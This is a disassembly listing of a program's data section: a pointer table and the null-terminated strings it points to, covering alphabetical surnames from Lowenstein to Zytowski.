		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:00434130o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0043412Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:00434128o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:00434124o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:00434120o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0043411Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:00434118o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:00434114o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:00434110o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0043410Co
aYu		db 'Yu',0               ; DATA XREF: ___:00434108o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:00434104o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:00434100o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:004340FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:004340F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:004340F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:004340F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:004340ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:004340E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:004340E4o
aYankee_0	db 'Yankee',0           ; DATA XREF: ___:004340E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:004340DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:004340D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:004340D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:004340D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:004340CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:004340C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:004340C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:004340C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:004340BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:004340B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:004340B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:004340B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:004340ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:004340A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:004340A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:004340A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0043409Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:00434098o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:00434094o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:00434090o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0043408Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:00434088o
aViens		db 'Viens',0            ; DATA XREF: ___:00434084o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:00434080o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0043407Co
aViano		db 'Viano',0            ; DATA XREF: ___:00434078o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:00434074o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:00434070o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0043406Co
		align 4
aWhite_0	db 'White',0            ; DATA XREF: ___:00434068o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:00434064o
aWhately	db 'Whately',0          ; DATA XREF: ___:00434060o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0043405Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:00434058o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:00434054o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:00434050o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0043404Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:00434048o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:00434044o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:00434040o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0043403Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:00434038o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:00434034o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:00434030o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0043402Co
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: ___:00434028o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:00434024o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:00434020o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0043401Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:00434018o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:00434014o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:00434010o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0043400Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:00434008o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:00434004o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:00434000o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:00433FFCo
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: ___:00433FF8o
aWaite		db 'Waite',0            ; DATA XREF: ___:00433FF4o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:00433FF0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:00433FECo
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:00433FE8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:00433FE4o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:00433FE0o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:00433FDCo
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:00433FD8o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:00433FD4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:00433FD0o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:00433FCCo
		align 10h
aTuttle_0	db 'Tuttle',0           ; DATA XREF: ___:00433FC8o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:00433FC4o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: ___:00433FC0o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:00433FBCo
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:00433FB8o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:00433FB4o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:00433FB0o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:00433FACo
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:00433FA8o
aTruss		db 'Truss',0            ; DATA XREF: ___:00433FA4o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:00433FA0o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:00433F9Co
aTringali	db 'Tringali',0         ; DATA XREF: ___:00433F98o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:00433F94o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:00433F90o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:00433F8Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:00433F88o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:00433F84o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:00433F80o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:00433F7Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:00433F78o
aToomer		db 'Toomer',0           ; DATA XREF: ___:00433F74o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:00433F70o
aTolman		db 'Tolman',0           ; DATA XREF: ___:00433F6Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:00433F68o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:00433F64o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:00433F60o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:00433F5Co
aTill		db 'Till',0             ; DATA XREF: ___:00433F58o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:00433F54o
aThroop		db 'Throop',0           ; DATA XREF: ___:00433F50o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:00433F4Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:00433F48o
aThibault	db 'Thibault',0         ; DATA XREF: ___:00433F44o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:00433F40o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:00433F3Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:00433F38o
		align 4
